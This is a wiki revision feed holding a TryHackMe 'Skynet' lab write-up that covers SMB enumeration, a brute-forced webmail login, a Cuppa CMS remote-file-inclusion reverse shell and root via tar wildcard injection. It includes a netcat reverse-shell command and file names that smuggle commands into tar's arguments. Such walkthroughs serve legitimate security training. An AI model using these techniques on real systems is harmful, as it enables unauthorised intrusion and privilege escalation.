<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FTHM%2FSkynet</id>
	<title>Write-ups/THM/Skynet - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FTHM%2FSkynet"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/THM/Skynet&amp;action=history"/>
	<updated>2026-04-21T15:22:15Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/THM/Skynet&amp;diff=1174&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 12:38, 11 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/THM/Skynet&amp;diff=1174&amp;oldid=prev"/>
		<updated>2022-01-11T12:38:34Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Skynet&lt;br /&gt;
| platform = TryHackMe&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = SMB, Cuppa CMS RFI, Cron Wildcard&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-81.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Since HackTheBox had problems yesterday I did OSCP like box from TryHackMe instead. This is a Linux box with a pretty straightforward approach. In the initial search there were a couple ports open, such as SMB, HTTP, POP3 and imap. Enumerting each of these ports will give you initial access, and root eventually.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I start with an NMAP scan. From the NMAP scan I see that &amp;#039;&amp;#039;&amp;#039;SMB&amp;#039;&amp;#039;&amp;#039;, &amp;#039;&amp;#039;&amp;#039;IMAP, POP3, HTTP &amp;#039;&amp;#039;&amp;#039;are some interesting open ports. So we will enumerate them in a bit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@ip-10-10-253-253:~/ctf# nmap -sC -sV 10.10.73.85 -oN nmap.result&lt;br /&gt;
&lt;br /&gt;
Starting Nmap 7.60 ( https://nmap.org ) at 2022-01-11 11:21 GMT&lt;br /&gt;
Nmap scan report for ip-10-10-73-85.eu-west-1.compute.internal (10.10.73.85)&lt;br /&gt;
Host is up (0.00060s latency).&lt;br /&gt;
Not shown: 994 closed ports&lt;br /&gt;
PORT    STATE SERVICE     VERSION&lt;br /&gt;
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)&lt;br /&gt;
|   256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)&lt;br /&gt;
|_  256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (EdDSA)&lt;br /&gt;
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))&lt;br /&gt;
|_http-server-header: Apache/2.4.18 (Ubuntu)&lt;br /&gt;
|_http-title: Skynet&lt;br /&gt;
110/tcp open  pop3        Dovecot pop3d&lt;br /&gt;
|_pop3-capabilities: RESP-CODES AUTH-RESP-CODE CAPA SASL TOP PIPELINING UIDL&lt;br /&gt;
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)&lt;br /&gt;
143/tcp open  imap        Dovecot imapd&lt;br /&gt;
|_imap-capabilities: listed ID more OK SASL-IR LITERAL+ have IDLE IMAP4rev1 post-login Pre-login capabilities LOGINDISABLEDA0001 LOGIN-REFERRALS ENABLE&lt;br /&gt;
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)&lt;br /&gt;
MAC Address: 02:55:B6:AE:BF:BF (Unknown)&lt;br /&gt;
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel&lt;br /&gt;
&lt;br /&gt;
Host script results:&lt;br /&gt;
|_nbstat: NetBIOS name: SKYNET, NetBIOS user: , NetBIOS MAC:  (unknown)&lt;br /&gt;
| smb-os-discovery:&lt;br /&gt;
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)&lt;br /&gt;
|   Computer name: skynet&lt;br /&gt;
|   NetBIOS computer name: SKYNET\x00&lt;br /&gt;
|   Domain name: \x00&lt;br /&gt;
|   FQDN: skynet&lt;br /&gt;
|_  System time: 2022-01-11T05:21:32-06:00&lt;br /&gt;
| smb-security-mode:&lt;br /&gt;
|   account_used: guest&lt;br /&gt;
|   authentication_level: user&lt;br /&gt;
|   challenge_response: supported&lt;br /&gt;
|_  message_signing: disabled (dangerous, but default)&lt;br /&gt;
| smb2-security-mode:&lt;br /&gt;
|   2.02:&lt;br /&gt;
|_    Message signing enabled but not required&lt;br /&gt;
| smb2-time:&lt;br /&gt;
|   date: 2022-01-11 11:21:32&lt;br /&gt;
|_  start_date: 1600-12-31 23:58:45&lt;br /&gt;
&lt;br /&gt;
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 14.33 seconds&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I like to start enumerating SMB first to see if I find anything interesting.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Enumerating SMB ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Taking a look at what shares are available we find some interesting. Since anonymous access is allowede we can list the shares and possible access some of them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@ip-10-10-253-253:~/ctf# smbclient -L //10.10.73.85&lt;br /&gt;
WARNING: The &amp;quot;syslog&amp;quot; option is deprecated&lt;br /&gt;
Enter WORKGROUP\root&amp;#039;s password:&lt;br /&gt;
&lt;br /&gt;
	Sharename       Type      Comment&lt;br /&gt;
	---------       ----      -------&lt;br /&gt;
	print$          Disk      Printer Drivers&lt;br /&gt;
	anonymous       Disk      Skynet Anonymous Share&lt;br /&gt;
	milesdyson      Disk      Miles Dyson Personal Share&lt;br /&gt;
	IPC$            IPC       IPC Service (skynet server (Samba, Ubuntu))&lt;br /&gt;
Reconnecting with SMB1 for workgroup listing.&lt;br /&gt;
&lt;br /&gt;
	Server               Comment&lt;br /&gt;
	---------            -------&lt;br /&gt;
&lt;br /&gt;
	Workgroup            Master&lt;br /&gt;
	---------            -------&lt;br /&gt;
	WORKGROUP            SKYNET&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The two interersting shares here is &amp;#039;&amp;#039;&amp;#039;anonymous &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;milesdyson.&amp;#039;&amp;#039;&amp;#039; In the anonymous share we find a note that says that there have been a system malfunction and all skynet employees must change their password.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@ip-10-10-253-253:~/ctf# cat attention.txt&lt;br /&gt;
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.&lt;br /&gt;
-Miles Dyson&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Digging furthere in the share, there is a directory called &amp;#039;&amp;#039;&amp;#039;logs.&amp;#039;&amp;#039;&amp;#039; In the directory there are some log files, all of them are empty except one. This looks like a list of passwords, which we will save for later.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@ip-10-10-253-253:~/ctf# cat log1.txt&lt;br /&gt;
cyborg007haloterminator&lt;br /&gt;
terminator22596&lt;br /&gt;
terminator219&lt;br /&gt;
terminator20&lt;br /&gt;
terminator1989&lt;br /&gt;
terminator1988&lt;br /&gt;
terminator168&lt;br /&gt;
terminator16&lt;br /&gt;
terminator143&lt;br /&gt;
terminator13&lt;br /&gt;
terminator123!@#&lt;br /&gt;
terminator1056&lt;br /&gt;
terminator101&lt;br /&gt;
terminator10&lt;br /&gt;
terminator02&lt;br /&gt;
terminator00&lt;br /&gt;
roboterminator&lt;br /&gt;
pongterminator&lt;br /&gt;
manasturcaluterminator&lt;br /&gt;
exterminator95&lt;br /&gt;
exterminator200&lt;br /&gt;
dterminator&lt;br /&gt;
djxterminator&lt;br /&gt;
dexterminator&lt;br /&gt;
determinator&lt;br /&gt;
cyborg007haloterminator&lt;br /&gt;
avsterminator&lt;br /&gt;
alonsoterminator&lt;br /&gt;
Walterminator&lt;br /&gt;
79terminator6&lt;br /&gt;
1996terminator&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The other share&amp;#039;&amp;#039;&amp;#039;, milesdyson, &amp;#039;&amp;#039;&amp;#039;we have no access to it. One of the question in the task is &amp;#039;&amp;#039;&amp;#039;what is miles dysons password. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Enumerating HTTP ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Look at the webserver we are presented with skynets searchengine. I didn&amp;#039;t find anything interesting here, so I started up gobuster and did a subdirectory bruteforce using the &amp;#039;&amp;#039;&amp;#039;common.txt &amp;#039;&amp;#039;&amp;#039;wordlist.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-82.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@ip-10-10-253-253:~/ctf# gobuster dir -u http://10.10.73.85 -w /usr/share/wordlists/dirb/common.txt&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/01/11 11:41:40 Starting gobuster&lt;br /&gt;
===============================================================&lt;br /&gt;
/.hta (Status: 403)&lt;br /&gt;
/.htaccess (Status: 403)&lt;br /&gt;
/.htpasswd (Status: 403)&lt;br /&gt;
/admin (Status: 301)&lt;br /&gt;
/config (Status: 301)&lt;br /&gt;
/css (Status: 301)&lt;br /&gt;
/index.html (Status: 200)&lt;br /&gt;
/js (Status: 301)&lt;br /&gt;
/server-status (Status: 403)&lt;br /&gt;
/squirrelmail (Status: 301)&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/01/11 11:41:40 Finished&lt;br /&gt;
===============================================================&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
One that stands out here is &amp;#039;&amp;#039;&amp;#039;squirrelamil. &amp;#039;&amp;#039;&amp;#039;The other subdirectories we had no access to.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-85.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From earlier enumeration we have a username for Miles Dyson, which is &amp;#039;&amp;#039;&amp;#039;milesdyson&amp;#039;&amp;#039;&amp;#039; and we have a list of passwords from &amp;#039;&amp;#039;&amp;#039;logs1.txt&amp;#039;&amp;#039;&amp;#039; we could try out.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-84.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So spinning up &amp;#039;&amp;#039;&amp;#039;BurpSuit &amp;#039;&amp;#039;&amp;#039;we could intercept login request, send it to intruder and try and bruteforce our way in. In the picture below I&amp;#039;ve added the position where intruder will insert our passwordlist.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-86.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Right off the bat we can see that &amp;#039;&amp;#039;&amp;#039;cyborg007haloterminator &amp;#039;&amp;#039;&amp;#039;have another length than the other passwords, and HTTP status code of 302 (redirect), giving us a hint that this might be the correct password.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-87.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Squirrel Mail ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Logging into Miles Dysons inbox we find his SMB password and we can try and see what we can find in his personal SMB share, milesdyson.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-88.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Inside his share we find alot of files, but one of them is named &amp;#039;&amp;#039;&amp;#039;important.txt&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@ip-10-10-253-253:~/ctf# cat important.txt&lt;br /&gt;
&lt;br /&gt;
1. Add features to beta CMS /45kra24zxs28v3yd&lt;br /&gt;
2. Work on T-800 Model 101 blueprints&lt;br /&gt;
3. Spend more time with my wife&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Hidden Directory ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There is an hidden directory on the webserver named &amp;#039;&amp;#039;&amp;#039; /45kra24zxs28v3yd&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-89.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Running gobuster against this hidden directory we find another subdirectory named &amp;#039;&amp;#039;&amp;#039;Administrator. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@ip-10-10-253-253:~/ctf# gobuster dir -u http://10.10.73.85/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirb/common.txt&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/01/11 11:58:11 Starting gobuster&lt;br /&gt;
===============================================================&lt;br /&gt;
/.hta (Status: 403)&lt;br /&gt;
/.htaccess (Status: 403)&lt;br /&gt;
/.htpasswd (Status: 403)&lt;br /&gt;
/administrator (Status: 301)&lt;br /&gt;
/index.html (Status: 200)&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/01/11 11:58:12 Finished&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-90.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A quick [https://www.exploit-db.com/exploits/25971 google search] reveal that there is a &amp;#039;&amp;#039;&amp;#039;Remote File Inclusion &amp;#039;&amp;#039;&amp;#039;vulnerability in this CMS, making it possbile for us to get a reverse shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From Exploit-db:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.&lt;br /&gt;
&lt;br /&gt;
http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
and using gobuster to verify that there is an &amp;#039;&amp;#039;&amp;#039;alerts &amp;#039;&amp;#039;&amp;#039;sub directory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@ip-10-10-253-253:~/ctf# gobuster dir -u http://10.10.73.85/45kra24zxs28v3yd/administrator/ -w /usr/share/wordlists/dirb/common.txt -x php&lt;br /&gt;
&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/01/11 12:01:21 Starting gobuster&lt;br /&gt;
===============================================================&lt;br /&gt;
/.htaccess (Status: 403)&lt;br /&gt;
/.htaccess.php (Status: 403)&lt;br /&gt;
/.htpasswd (Status: 403)&lt;br /&gt;
/.htpasswd.php (Status: 403)&lt;br /&gt;
/.hta (Status: 403)&lt;br /&gt;
/.hta.php (Status: 403)&lt;br /&gt;
/alerts (Status: 301)&lt;br /&gt;
/classes (Status: 301)&lt;br /&gt;
/components (Status: 301)&lt;br /&gt;
/index.php (Status: 200)&lt;br /&gt;
/index.php (Status: 200)&lt;br /&gt;
/js (Status: 301)&lt;br /&gt;
/media (Status: 301)&lt;br /&gt;
/templates (Status: 301)&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/01/11 12:01:22 Finished&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A quick PoC:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-91.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Confirming that we have &amp;#039;&amp;#039;&amp;#039;LFI, &amp;#039;&amp;#039;&amp;#039;we could try &amp;#039;&amp;#039;&amp;#039;RFI. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The steps are as follow:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Edit the php reverse shell script and add our local ip and port. * Start a simple http server * Start a netcat listener. * Visit &amp;lt;code&amp;gt;http://10.10.73.85/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.10.253.253:9000/php-reverse-shell.php&amp;lt;/code&amp;gt;* And we have a connection on our listener.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-92.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And after stabilizing our shell, we can look for &amp;#039;&amp;#039;&amp;#039;user.txt &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-93.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Root ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In &amp;#039;&amp;#039;&amp;#039;Miles Dysons &amp;#039;&amp;#039;&amp;#039;home directory there is a directory caleld &amp;#039;&amp;#039;&amp;#039;backups&amp;#039;&amp;#039;&amp;#039; where there are two files &amp;#039;&amp;#039;&amp;#039;backup.sh &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;backup.tgz. &amp;#039;&amp;#039;&amp;#039;Both are owned by root.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
www-data@skynet:/home/milesdyson/backups$ ls -l&lt;br /&gt;
total 4&lt;br /&gt;
-rwxr-xr-x 1 root root 74 Sep 17  2019 backup.sh&lt;br /&gt;
-rw-r--r-- 1 root root  0 Jan 11 06:29 backup.tgz&lt;br /&gt;
www-data@skynet:/home/milesdyson/backups$ cat backup.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
cd /var/www/html&lt;br /&gt;
tar cf /home/milesdyson/backups/backup.tgz *&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
and looking at &amp;#039;&amp;#039;&amp;#039;Crontab &amp;#039;&amp;#039;&amp;#039;we see that &amp;#039;&amp;#039;&amp;#039;backup.sh &amp;#039;&amp;#039;&amp;#039;is executed every minute.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
www-data@skynet:/home/milesdyson/backups$ cat /etc/crontab&lt;br /&gt;
*/1 *	* * *   root	/home/milesdyson/backups/backup.sh&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Since &amp;#039;&amp;#039;&amp;#039;tar &amp;#039;&amp;#039;&amp;#039;is using wildcard we can abuse it with placing our shell in the direcotry its backing up since we have write permission to that directory. And from &amp;#039;&amp;#039;&amp;#039;GTFObins. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-94.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
www-data@skynet:/var/www/html$ echo &amp;quot;mkfifo /tmp/fmbw; nc 10.10.253.253 8888 0/tmp/fmbw 2&amp;gt;&amp;amp;1; rm /tmp/fmbw&amp;quot; &amp;gt; shell.sh&lt;br /&gt;
www-data@skynet:/var/www/html$ echo &amp;quot;&amp;quot; &amp;gt; &amp;quot;--checkpoint-action=exec=sh shell.sh&amp;quot;&lt;br /&gt;
www-data@skynet:/var/www/html$ echo &amp;quot;&amp;quot; &amp;gt; --checkpoint=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From &amp;#039;&amp;#039;&amp;#039;tar &amp;#039;&amp;#039;&amp;#039;man page:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| --checkpoint-action=ACTION&lt;br /&gt;
| Execute ACTION at every checkpoint. ACTION may be one of the following:&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| --checkpoint[=NUMBER]&lt;br /&gt;
| Use &amp;quot;checkpoints&amp;quot;: display a progress message every NUMBER records (default 10).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Starting our netcat listener and listening to port 8888, we wait for cron to run the script.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-95.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:TryHackMe]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>